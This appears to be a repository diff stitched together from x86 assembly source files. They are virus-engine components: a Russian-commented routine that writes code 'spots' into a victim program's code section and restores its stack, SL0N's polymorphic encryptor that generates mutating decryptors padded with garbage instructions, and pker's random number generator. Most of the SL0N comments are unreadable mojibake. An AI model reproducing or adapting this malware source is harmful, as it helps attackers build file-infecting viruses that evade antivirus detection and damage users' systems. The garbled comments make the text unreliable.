||||
pop eax
|
||||
sub esi,eax
|
||||
xchg eax,esi
|
||||
mov dword ptr [esp+1Ch],edx
|
||||
popad
|
||||
ret
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||||
;конец функции FLEA_REST
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||||
;функция FLEA_RESTSTACK
|
||||
;сбаланирование стэка после после пятен
|
||||
;ВХОД (stdcall) (FLEA_RESTSTACK(DWORD num_spots)):
|
||||
;num_spots - количество отработанных в жертве пятен
|
||||
; (это значение можно получить из буфера restore_bytes)
|
||||
;ВЫХОД:
|
||||
;балансировка стэка, а также в ECX=0, EAX = адрес команды, которая выполняется сразу после вызова данной
|
||||
;функции (FLEA_RESTSTACK);
|
||||
;ЗАМЕТКИ:
|
||||
; так как каждое пятно меняло регистр EBP и ESP (клало EBP в стэк, а также адрес, следующий за
|
||||
; CALL'ом), то надо восстановить данные регистры, и соответственно стэк.
|
||||
; ВАЖНО: вызывать эту функцию только тогда, когда в стэке вы уже не храните никакие данные.
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||||
FLEA_RESTSTACK:
|
||||
pop eax
|
||||
pop ecx
|
||||
_reststack_:
|
||||
add esp,4 ;pop edx
|
||||
mov esp,ebp
|
||||
pop ebp
|
||||
loop _reststack_
|
||||
jmp eax
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||||
;конец функи FLEA_RESTSTACK
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||||
;вспомогательная функция gen_mask
|
||||
;генерация маски для мусора
|
||||
;ВХОД (stdcall) (gen_mask(DWORD xmask)):
|
||||
; xmask - начальная маска
|
||||
;ВЫХОД:
|
||||
; EAX - новая маска
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||||
gen_mask:
|
||||
push ecx
|
||||
mov ecx,dword ptr [esp+08]
|
||||
push -1
|
||||
call [ebx].rgen_addr
|
||||
and ecx,eax
|
||||
rol eax,10h
|
||||
push eax
|
||||
call [ebx].rgen_addr
|
||||
and ecx,eax
|
||||
xchg eax,ecx
|
||||
pop ecx
|
||||
ret 4
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||||
;конец функции gen_mask
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||||
;вспомогательная функция get_jmpaddr
|
||||
;получение операнда для jmp'a, который будет прыгать на следующее пятно
|
||||
;ВЫХОД:
|
||||
;ЕАХ - искомое значение
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||||
get_jmpaddr:
|
||||
push max_jmp
|
||||
call [ebx].rgen_addr
|
||||
cmp eax,min_jmp
|
||||
jb get_jmpaddr
|
||||
ret
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||||
;конец функции get_jmpaddr
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||||
;вспомогательная функция mix_addr
|
||||
;перемешивание случайным образом данных в массиве
|
||||
;заметки: в данном движке используется для перемешивания случаным образом адресов пятен
|
||||
;ВХОД ( mix_adr(DWORD *addr_mas, DWORD num_elem) ):
|
||||
;addr_mas - адрес буфера(массива), где находятся значения, которые следует перемешать
|
||||
;num_elem - кол-во этих самых элементов
|
||||
;ВЫХОД:
|
||||
;перемешанные адреса в буфере(массиве)
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||||
mix_addr:
|
||||
pushad ;
|
||||
mov ecx,dword ptr [esp+28h] ;ECX - кол-во элементов
|
||||
mov esi,dword ptr [esp+24h] ;ESI - адрес буфера, где находятся эти элементы
|
||||
xor edx,edx
|
||||
_nxtmix_:
|
||||
push ecx
|
||||
call [ebx].rgen_addr ;получаем СЧ [0..ECX-1]
|
||||
push dword ptr [esi+edx*4] ;и перемешиваем
|
||||
push dword ptr [esi+eax*4]
|
||||
pop dword ptr [esi+edx*4]
|
||||
pop dword ptr [esi+eax*4]
|
||||
inc edx
|
||||
cmp edx,ecx
|
||||
jne _nxtmix_ ;если перемешали все элементы, то на выход
|
||||
|
||||
popad
|
||||
ret 4*2
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||||
;конец функции mix_addr
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
;========================================================================================================
|
||||
;вспомогательные переменные (находятся в стэке)
|
||||
;========================================================================================================
|
||||
imNTh equ dword ptr [ebp-04] ;указатель на IMAGE_NT_HEADERS
|
||||
old_ep equ dword ptr [ebp-08] ;старая точка входа
|
||||
base equ dword ptr [ebp-12] ;ImageBase
|
||||
new_ep equ dword ptr [ebp-16] ;новая точка входа (в конец последней секции)
|
||||
start_addr equ dword ptr [ebp-20] ;физический адрес точки входа (+ база мэппинга)
|
||||
codesec equ dword ptr [ebp-24] ;указатель на кодовую секцию в табличке секций
|
||||
size_codesec equ dword ptr [ebp-28] ;размер в кодовой секции, который реально можно использовать для записи пятен
|
||||
max_codesec_addr equ dword ptr [ebp-32] ;максимальный допустимый адрес в кодовой секции, до которого можно записывать пятна
|
||||
cur_codesec_addr equ dword ptr [ebp-36] ;текущий адрес в кодовой секции (используется для получения очередного адреса нового пятнышка)
|
||||
num_spots equ dword ptr [ebp-40] ;кол-во реально записанных пятен в кодовую секцию
|
||||
beg_rest_bytes equ dword ptr [ebp-44] ;адрес буфера, где хранится кол-во записанных пятен, размеры их, адреса, а также оригинальные байты кодовой секции
|
||||
cur_rest_bytes equ dword ptr [ebp-48] ;текущий адрес в буфере (вспомогтальная переменная), куда сохраняем оригинальные байты кодовой секции etc
|
||||
spot1 equ dword ptr [ebp-52] ;размер 1-ой порции мусора (этих первых порций мусора столько, сколько пятен будем записывать) (также вспомогательная переменная)
|
||||
spot2 equ dword ptr [ebp-56] ;размер 2-ой порции мусора etc
|
||||
tgen_struct equ dword ptr [ebp-60] ;адрес структуры TRASHGEN (для трэшгена xTG - или другого тэшгена)
|
||||
xtmask1 equ dword ptr [ebp-64] ;новая маска1
|
||||
xtmask2 equ dword ptr [ebp-68] ;новая маска2
|
||||
|
||||
restore_bytes db MAX_SPOTS*(uportion1+uportion2+7+10)+MAX_SPOTS*(4+4)+101 dup (00h);буфер, представляющий собой следующую структуру:
|
||||
;num_spots db 1 ;кол-во записанных пятен в кодовой секции
|
||||
;size_spot1 dd 1 ;размер очередного пятна
|
||||
;addr_spot1 dd 1 ;адрес очередного пятнышка
|
||||
;save_bytes1 db size_spot1 ;сохраненные оригинальные байты (вместо которых мы и записали очередное пятно)
|
||||
;size_spot2 dd 1 ;etc
|
||||
;addr_spot2 dd 1
|
||||
;save_bytes2 db size_spot2
|
||||
;...
|
||||
;size_spot(num_spots) dd 1
|
||||
;addr_spot(num_spots) dd 1
|
||||
;save_bytes(num_spots) db size_spot(num_spots)
|
||||
|
||||
UEP_RESTBYTES_SIZE equ $ - restore_bytes ;размер буфера, что выше
|
||||
;========================================================================================================
|
||||
|
||||
Binary file not shown.
@@ -0,0 +1,334 @@
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; [POLYMORPHIC GENERATOR OF SHIT V. 0.4] ;
|
||||
; ;
|
||||
; ######### ######## ######## ;
|
||||
; ########### ########## ########## ;
|
||||
; ##### ###### ###### ## ###### ## ;
|
||||
; ##### ##### ##### ##### ;
|
||||
; ##### ##### ##### ######## ;
|
||||
; ########### ##### ###### ######## ;
|
||||
; ######### ##### ###### ##### ;
|
||||
; ##### ##### ### ##### ;
|
||||
; ##### ########### ########### ;
|
||||
; ##### ##### ### ######### ;
|
||||
; ;
|
||||
; FOR MS WINDOWS ;
|
||||
; ;
|
||||
; BY SL0N ;
|
||||
;------------------------------------------------------------------------------;
|
||||
; MANUAL: ;
|
||||
; BUFFER FOR ENCRYPTED CODE + DECRYPTORS -> EDI ;
|
||||
; START OF CODE -> EAX ;
|
||||
; SIZE OF CODE -> ECX ;
|
||||
; ;
|
||||
; CALL MORPH ;
|
||||
; ;
|
||||
; SIZE OF ENCRYPTED CODE + DECRYPTORS -> ECX ;
|
||||
; BUFFER WITH ENCRYPTED CODE + DECRYPTORS -> EDI ;
|
||||
;------------------------------------------------------------------------------;
|
||||
; (+) DO NOT USE WIN API ;
|
||||
; (+) EASY TO USE ;
|
||||
; (+) GENERATE GARBAGE INSTRUCTIONS (1,2,3,4,5,6 BYTES) ;
|
||||
; (+) USE DELTA OFFSET ;
|
||||
; (+) USE X87 INSTRUCTIONS ;
|
||||
; (+) IT CREATES VARIABLE DECRYPTOR SIZE ;
|
||||
; (+) RANDOMLY CHANGE REGISTERS IN INSTRUCTIONS ;
|
||||
; (+) RANDOM 32 BIT ENCRYPTION ALGORITHM (ADD/SUB/XOR) ;
|
||||
; (+) RANDOM NUMBER OF DECRYPTORS ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
morph:
|
||||
push esi ebp ; Ñîõðàíÿåì ðåãèñòðû
|
||||
|
||||
call delta0 ;
|
||||
delta0: ; Âû÷èñëÿåì
|
||||
pop ebp ; äåëüòà ñìåùåíèå
|
||||
sub ebp,offset delta0 ;
|
||||
|
||||
push eax ; Êëàä¸ì â ñòýê eax
|
||||
decr_number:
|
||||
mov eax,40 ; Ãåíåðèðóåì ñëó÷àéíîå ÷èñëî
|
||||
call brandom32 ; â äèàïàçîíå 0..30
|
||||
test eax,eax ; Åñëè ÷èñëî ðàâíî 0, òî îíî
|
||||
jz decr_number ; íàì íå ïîäõîäèò
|
||||
mov ebx,eax ; Ïîìåùàåì ÷èñëî â ebx
|
||||
pop eax ; Âîññòàíàâëèâàåì eax
|
||||
multi_decr:
|
||||
mov edx,edi
|
||||
call polym ;
|
||||
mov eax,edx ;
|
||||
add edi,ecx ; Ãåíåðèðóåì ñòîëüêî
|
||||
dec ebx ; äåêðèïòîðîâ, ñêîëüêî
|
||||
test ebx,ebx ; çàïèñàíî â ðåãèñòðå ebx
|
||||
jnz multi_decr ;
|
||||
|
||||
sub edi,ecx ; ðåçóëüòàòàìè
|
||||
|
||||
pop ebp esi ; Âîññòàíàâëèâàåì ðåãèñòðû
|
||||
ret ; Âîçâðàò èç ïîäïðîãðàììû
|
||||
;------------------------------------------------------------------------------;
|
||||
polym:
|
||||
push ebp edi esi ebx ; Ñîõðàíÿåì ðåãèñòðû
|
||||
|
||||
mov [ebp+sz_code],ecx ; Çàíîñèì ïàðàìåòðû ñòàðòà
|
||||
mov [ebp+begin_code],eax ; èç ðåãèñòðîâ â ïåðåìåííûå
|
||||
mov [ebp+buff],edx ;
|
||||
mov edi,edx ;
|
||||
;------------------------------------------------------------------------------;
|
||||
call len_gen ; Âûçûâàåì ãåíåðàòîð äëèí
|
||||
mov [ebp+sz_decr],40
|
||||
add [ebp+sz_decr],ecx ; äîáàâëÿåì äëèíû ìóñîðà ê
|
||||
; ðàçìåðó äåêðèïòîðà
|
||||
|
||||
call reg_mutate ; Âûáèðàåì ðåãèñòðû, êîòîðûå
|
||||
; áóäóò èñïîëüçîâàòüñÿ â
|
||||
; äåêðèïòîðå
|
||||
|
||||
mov ecx,[ebp+len+0] ; È ãåíåðèðóåì ïåðâóþ ïàðòèþ
|
||||
call garbage ; ìóñîðíûõ èíñòðóêöèé
|
||||
|
||||
mov al,0e8h ; Ãåíåðèðóåì ñëåäóþùóþ
|
||||
stosb ; èíñòðóêöèþ: call $+5
|
||||
xor eax,eax ;
|
||||
stosd ;
|
||||
|
||||
mov ecx,[ebp+len+4] ; Ãåíåðèðóåì íîâóþ ïàðòèþ
|
||||
call garbage ; ìóñîðíûõ èíñòðóêöèé
|
||||
|
||||
mov al,58h ; Ãåíåðèðóåì ñëåäóþùóþ
|
||||
add al,bh ; èíñòðóêöèþ äåêðèïòîðà:
|
||||
stosb ; pop reg1
|
||||
|
||||
mov ecx,[ebp+len+8] ; Ãåíåðèðóåì ìóñîðíûå
|
||||
call garbage ; èíñòðóêöèè
|
||||
|
||||
; Ãåíåðèðóåì ñëåäóþùóþ
|
||||
mov al,81h ; èíñòðóêöèþ äåêðèïòîðà:
|
||||
stosb ; add reg1,sz_decr-len[0]
|
||||
mov al,0c0h ;
|
||||
add al,bh ; Òàêèì îáðàçîì reg1 áóäåò
|
||||
stosb ; óêàçûâàòü íà íà÷àëî
|
||||
; çàêðèïòîâàííîãî êîäà
|
||||
mov eax,[ebp+sz_decr] ;
|
||||
sub eax,[ebp+len] ;
|
||||
sub eax,9 ;
|
||||
stosd ;
|
||||
|
||||
mov ecx,[ebp+len+12] ; Ãåíåðèðóåì ìóñîðíûå
|
||||
call garbage ; èíñòðóêöèè
|
||||
|
||||
mov al,8bh ; Ãåíåðèðóåì èíñòðóêöèþ:
|
||||
stosb ; mov reg2,reg1
|
||||
;
|
||||
mov al,bl ; Ó íàñ reg2 ïîçæå áóäåò
|
||||
shl al,3 ; èñïîëüçîâàòüñÿ äëÿ
|
||||
add al,0c0h ; ñðàâíåíèÿ
|
||||
add al,bh ;
|
||||
stosb
|
||||
|
||||
mov ecx,[ebp+len+16] ; Ãåíåðèðóåì ìóñîðíûå
|
||||
call garbage ; èíñòðóêöèè
|
||||
|
||||
mov al,81h ;
|
||||
stosb ;
|
||||
mov al,0c0h ;
|
||||
add al,bl ;
|
||||
stosb ;
|
||||
; Ãåíåðèðóåì èíñòðóêöèþ:
|
||||
mov eax,[ebp+sz_code] ; add reg2,size_code
|
||||
inc eax
|
||||
stosd ;
|
||||
|
||||
mov ecx,[ebp+len+20] ; Ãåíåðèðóåì ìóñîðíûå
|
||||
call garbage ; èíñòðóêöèè
|
||||
|
||||
mov al,81h ;
|
||||
stosb ; Ãåíåðèðóåì ñëåäóþùóþ
|
||||
mov al,0c0h ; èíñòðóêöèþ: add reg1,4
|
||||
add al,bh ;
|
||||
stosb ;
|
||||
;
|
||||
mov eax,4 ;
|
||||
stosd ;
|
||||
|
||||
mov ecx,[ebp+len+24] ; Ãåíåðèðóåì ñëåäóþùóþ
|
||||
call garbage ; ïàðòèþ ìóñîðà
|
||||
|
||||
call random32 ;
|
||||
mov [ebp+key2],eax ; Ñîõðàíÿåì êëþ÷ êðèïòîâàíèÿ
|
||||
|
||||
lea eax,[ebp+next] ; Êëàä¸ì â ñòýê ñìåùåíèå
|
||||
push eax ; íà ìåòêó next
|
||||
; Âûáèðàåì îäèí èç òð¸õ
|
||||
; âàðèàíòîâ êðèïòîâàíèÿ
|
||||
mov eax,3 ; ñëó÷àéíûì îáðàçîì.
|
||||
call brandom32 ;
|
||||
; Àëãîðèòìû êðèïòîâàíèÿ è
|
||||
cmp al,1 ; äåêðèïòîâàíèÿ:
|
||||
je enc_add32 ;
|
||||
; 1) XOR
|
||||
cmp al,2 ; 2) ADD
|
||||
je enc_sub32 ; 3) SUB
|
||||
enc_xor32:
|
||||
|
||||
mov al,81h ;
|
||||
stosb ; Ãåíåðèðóåì èíñòðóêöèþ:
|
||||
mov al,30h ; xor [reg1],key_decrypt
|
||||
add al,bh ;
|
||||
stosb ;
|
||||
mov eax,[ebp+key2]
|
||||
stosd
|
||||
|
||||
push edi ;
|
||||
lea edi,[ebp+crypt_n] ;
|
||||
mov al,33h ; À â ñàìîì äâèæêå ìåíÿåòñÿ
|
||||
stosb ; àëãîðèòì êðèïòîâàíèÿ
|
||||
pop edi ;
|
||||
ret ; Ïåðåõîä íà ìåòêó next
|
||||
enc_add32:
|
||||
mov al,81h ;
|
||||
stosb ; Ãåíåðèðóåì èíñòðóêöèþ:
|
||||
mov al,bh ; add [reg1],key_decrypt
|
||||
stosb ;
|
||||
|
||||
mov eax,[ebp+key2]
|
||||
stosd
|
||||
|
||||
push edi ;
|
||||
lea edi,[ebp+crypt_n] ;
|
||||
mov al,2bh ; À â ñàìîì äâèæêå ìåíÿåòñÿ
|
||||
stosb ; àëãîðèòì êðèïòîâàíèÿ
|
||||
pop edi ;
|
||||
ret ; Ïåðåõîä íà ìåòêó next
|
||||
|
||||
enc_sub32:
|
||||
mov al,81h ;
|
||||
stosb ; Ãåíåðèðóåì ñëåäóþùóþ
|
||||
mov al,028h ; èíñòðóêöèþ:
|
||||
add al,bh ; sub [reg1],key_decrypt
|
||||
stosb ;
|
||||
|
||||
mov eax,[ebp+key2]
|
||||
stosd
|
||||
|
||||
push edi ;
|
||||
lea edi,[ebp+crypt_n] ; À â ñàìîì äâèæêå ìåíÿåì
|
||||
mov al,03h ; àëãîðèòì êðèïòîâàíèÿ
|
||||
stosb ;
|
||||
pop edi ;
|
||||
ret ; Ïåðåõîä íà ìåòêó next
|
||||
;------------------------------------------------------------------------------;
|
||||
next:
|
||||
mov ecx,[ebp+len+28] ; Ãåíåðèðóåì î÷åðåäíóþ
|
||||
call garbage ; ïàðòèþ ìóñîðà
|
||||
|
||||
mov al,3bh ;
|
||||
stosb ;
|
||||
;
|
||||
xor eax,eax ;
|
||||
mov al,bh ; Ãåíåðèðóåì èíñòðóêöèþ:
|
||||
shl al,3 ; cmp reg1,reg2
|
||||
add al,0c0h ;
|
||||
add al,bl ;
|
||||
stosb ;
|
||||
;------------------------------------------------------------------------------;
|
||||
mov ax,820fh ;
|
||||
stosw ;
|
||||
xor eax,eax ;
|
||||
dec eax ; Ãåíåðèðóåì èíñòðóêöèþ:
|
||||
mov ecx,7*4 ; jb decrypt
|
||||
sub eax,[ebp+len+ecx] ;
|
||||
mov ecx,6*4 ;
|
||||
sub eax,[ebp+len+ecx] ;
|
||||
sub eax,19 ;
|
||||
stosd ;
|
||||
|
||||
mov ecx,[ebp+len+32] ; Ãåíåðèðóåì ìóñîðíûå
|
||||
call garbage ; èíñòðóêöèè
|
||||
;------------------------------------------------------------------------------;
|
||||
mov ecx,[ebp+sz_code] ;
|
||||
mov esi,[ebp+begin_code] ;
|
||||
add ecx,esi ;
|
||||
encrypt: ;
|
||||
lodsd ; Êðèïòóåì âåñü êîä êëþ÷îì
|
||||
crypt_n: ; è íóæíûì àëãîðèòìîì
|
||||
xor eax,[ebp+key2] ;
|
||||
stosd ;
|
||||
cmp esi,ecx ;
|
||||
jl encrypt ;
|
||||
|
||||
mov edx,[ebp+buff] ; Çàïîëíÿåì ðåãèñòðû
|
||||
mov ecx,[ebp+sz_code] ; ðåçóëüòàòàìè
|
||||
add ecx,[ebp+sz_decr] ;
|
||||
|
||||
pop ebx esi edi ebp ; Âîñòàíàâëèâàåì ðåãèñòðû
|
||||
ret ; È âûõîäèì èç ïðîöåäóðû
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; GARBAGE LENGTH GENERATOR SUBROUTINE ;
|
||||
;------------------------------------------------------------------------------;
|
||||
; [ IN ] ;
|
||||
; ;
|
||||
; NO INPUT IN SUBROTINE ;
|
||||
;------------------------------------------------------------------------------;
|
||||
; [ OUT ] ;
|
||||
; ;
|
||||
; LENGTH OF ALL GARBAGE -> ECX ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
len_gen: ; Ïîäïðîãðàììà ãåíåðàöèè
|
||||
; äëèí äëÿ ìóñîðíûõ
|
||||
; èíñòðóêöèé
|
||||
xor ecx,ecx ; Îáíóëÿåì esi è ecx
|
||||
xor esi,esi ;
|
||||
loop1: ;
|
||||
mov eax,100 ;
|
||||
call brandom32 ; Íà÷èíàåì ãåíåðàöèþ
|
||||
; äëèí, êàæäîå ÷èñëî
|
||||
mov [ebp+len+esi],eax ; äèàïàçîíå 0..100
|
||||
add ecx,eax ;
|
||||
add esi,4 ;
|
||||
cmp esi,36 ;
|
||||
jne loop1 ;
|
||||
ret ; Âîçâðàò èç ïîäïðîãðàììû
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
; REGISTER MUTATOR SUBROUTINE ;
|
||||
;------------------------------------------------------------------------------;
|
||||
; [ IN ] ;
|
||||
; ;
|
||||
; NO INPUT IN SUBROTINE ;
|
||||
;------------------------------------------------------------------------------;
|
||||
; [ OUT ] ;
|
||||
; ;
|
||||
; USES REGISTER N1 -> BH (0..7) ;
|
||||
; USES REGISTER N2 -> BL (0..7) ;
|
||||
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
|
||||
reg_mutate:
|
||||
; Ïîäïðîãðàììà ãåíåðàöèè
|
||||
generate1: ; ðåãèñòðîâ äëÿ äåêðèïòîðà
|
||||
|
||||
mov eax,8 ; Ïîëó÷àåì ñëó÷àéíîå ÷èñëî
|
||||
call brandom32 ; â äèàïàçîíå 0..7
|
||||
cmp al,00000100b ; Èñïîëüçóåì âñå ðåãèñòðû
|
||||
je generate1 ; êðîìå esp
|
||||
cmp al,00000101b ; Èñïîëüçóåì âñå ðåãèñòðû
|
||||
je generate1 ; êðîìå ebp
|
||||
mov bh,al ; Ñîõðàíÿåì ïîëó÷åííûé
|
||||
; ðåãèñòð
|
||||
generate2:
|
||||
mov eax,8 ; Ïîëó÷àåì ñëó÷àéíîå ÷èñëî
|
||||
call brandom32 ; â äèàïàçîíå 0..7
|
||||
cmp al,bh ; Íå äîëæíî áûòü äâóõ
|
||||
je generate2 ; èäåíòè÷íûõ ðåãèñòðîâ
|
||||
cmp al,00000100b ; Èñïîëüçóåì âñå ðåãèñòðû
|
||||
je generate2 ; êðîìå esp
|
||||
mov bl,al ; Ñîõðàíÿåì ïîëó÷åííûé
|
||||
; ðåãèñòð
|
||||
ret ; Âîçâðàò èç ïîäïðîãðàììû
|
||||
;------------------------------------------------------------------------------;
|
||||
sz_decr dd 0 ;
|
||||
begin_code dd 0 ; Äàííûå íåîáõîäèìûå äëÿ
|
||||
st_code dd 0 ; êîððåêòíîé ðàáîòû
|
||||
sz_code dd 0 ; ãåíåðàòîðà
|
||||
buff dd 0 ;
|
||||
key2 dd 0 ;
|
||||
;------------------------------------------------------------------------------;
|
||||
len dd 0,0,0,0,0,0,0,0,0 ; Ìåñòî äëÿ õðàíåíèÿ äëèí
|
||||
;------------------------------------------------------------------------------;
|
||||
@@ -0,0 +1,222 @@
|
||||
;
|
||||
; pker's Random Number Generator (PKRNG)
|
||||
; ======================================
|
||||
;
|
||||
;
|
||||
; Description
|
||||
; -----------
|
||||
;
|
||||
; PKRNG is a random number generator. It can be used for MASM, TASM, FASM, etc. It
|
||||
; containz four procedurez: __randomize, __random and __m_seq_gen and
|
||||
; __random_rdtsc. __randomize procedure is for generating initial seed in the seed
|
||||
; field, which specified as parameter. The __m_seq_gen procedure is used to
|
||||
; generate m-sequence, which used by __random, which generate random numberz
|
||||
; finally. __random_rdtsc is the simplest one, it just get the RDTSC and divide it
|
||||
; by the range given as parameter.
|
||||
;
|
||||
;
|
||||
; How to use PKRNG
|
||||
; ----------------
|
||||
;
|
||||
; When using MASM or TASM to initialize seed field:
|
||||
;
|
||||
; mov edi,offset dwSeed
|
||||
; call __randomize
|
||||
;
|
||||
; The get a random number in eax:
|
||||
;
|
||||
; mov eax,offset dwSeed
|
||||
; mov ecx,32 ; get a random number between 0~31
|
||||
; call __random
|
||||
;
|
||||
;
|
||||
; Same thing happened with FASM:
|
||||
;
|
||||
; mov edi,dwSeed
|
||||
; call __randomize
|
||||
;
|
||||
; mov eax,dwSeed
|
||||
; mov ecx,32 ; get a random number between 0~31
|
||||
; call __random
|
||||
;
|
||||
;
|
||||
; Copyright
|
||||
; ---------
|
||||
;
|
||||
; (c) 2004. No rightz reserved. Use without permission :P.
|
||||
;
|
||||
|
||||
|
||||
;
|
||||
; __randomize procedure
|
||||
; =====================
|
||||
;
|
||||
;
|
||||
; Description
|
||||
; -----------
|
||||
;
|
||||
; This function use RDTSC instruction to generator a random number in order to
|
||||
; initialize the seed field.
|
||||
;
|
||||
;
|
||||
; Parameterz and Return Values
|
||||
; ----------------------------
|
||||
;
|
||||
; input:
|
||||
; edi --- points to the seed field
|
||||
; output:
|
||||
; nothing
|
||||
;
|
||||
|
||||
__randomize: pushad
|
||||
db 0fh,31h ; RDTSC
|
||||
add eax,edx ; ...
|
||||
stosd ; fill in the seed buffer
|
||||
popad
|
||||
ret
|
||||
|
||||
|
||||
;
|
||||
; __random procedure
|
||||
; ==================
|
||||
;
|
||||
;
|
||||
; Description
|
||||
; -----------
|
||||
;
|
||||
; This function generates a random number and rewrite the seed field. The function
|
||||
; first get a 32 bit m-sequence, which then multiply with the previous seed, with
|
||||
; __m_seq_gen procedure. And then, it calls __m_seq_gen again to generate another
|
||||
; m-sequence to make noise by adding on the DWORD calculated before. Also, this
|
||||
; result is the new seed, and will be write to the seed field which pointed by EAX
|
||||
; as argument. Finally, the seed is divided by ECX, and return the modulus, which
|
||||
; is the expected random number.
|
||||
;
|
||||
;
|
||||
; Parameterz and Return Values
|
||||
; ----------------------------
|
||||
;
|
||||
; input:
|
||||
; eax --- pointz to the random seed field
|
||||
; edx --- the range of the random number to be generated
|
||||
; output:
|
||||
; eax --- random number as result
|
||||
;
|
||||
|
||||
__random: pushad
|
||||
xchg ecx,edx
|
||||
mov edi,eax
|
||||
mov esi,eax
|
||||
lodsd ; get the previous seed value
|
||||
mov ebx,eax
|
||||
mov ebp,ebx
|
||||
call __m_seq_gen ; generate a m-sequence
|
||||
imul ebp ; multiply with the previous seed
|
||||
xchg ebx,eax
|
||||
call __m_seq_gen ; generate anothe m-sequence
|
||||
add eax,ebx ; to make noise...
|
||||
add eax,92151fech ; and some noisez...
|
||||
stosd ; write new seed value
|
||||
xor edx,edx
|
||||
div ecx ; calculate the random number
|
||||
mov [esp+28],edx ; according to a specified range
|
||||
popad
|
||||
ret
|
||||
|
||||
|
||||
;
|
||||
; __m_seq_gen procedure
|
||||
; =====================
|
||||
;
|
||||
;
|
||||
; Description
|
||||
; -----------
|
||||
;
|
||||
; This function use a PN (Pseudo Noise) generator to generate m-sequencez. The
|
||||
; configuration of the generator shows below (figure 1):
|
||||
;
|
||||
; (module 2 addition)
|
||||
; ___
|
||||
; / \
|
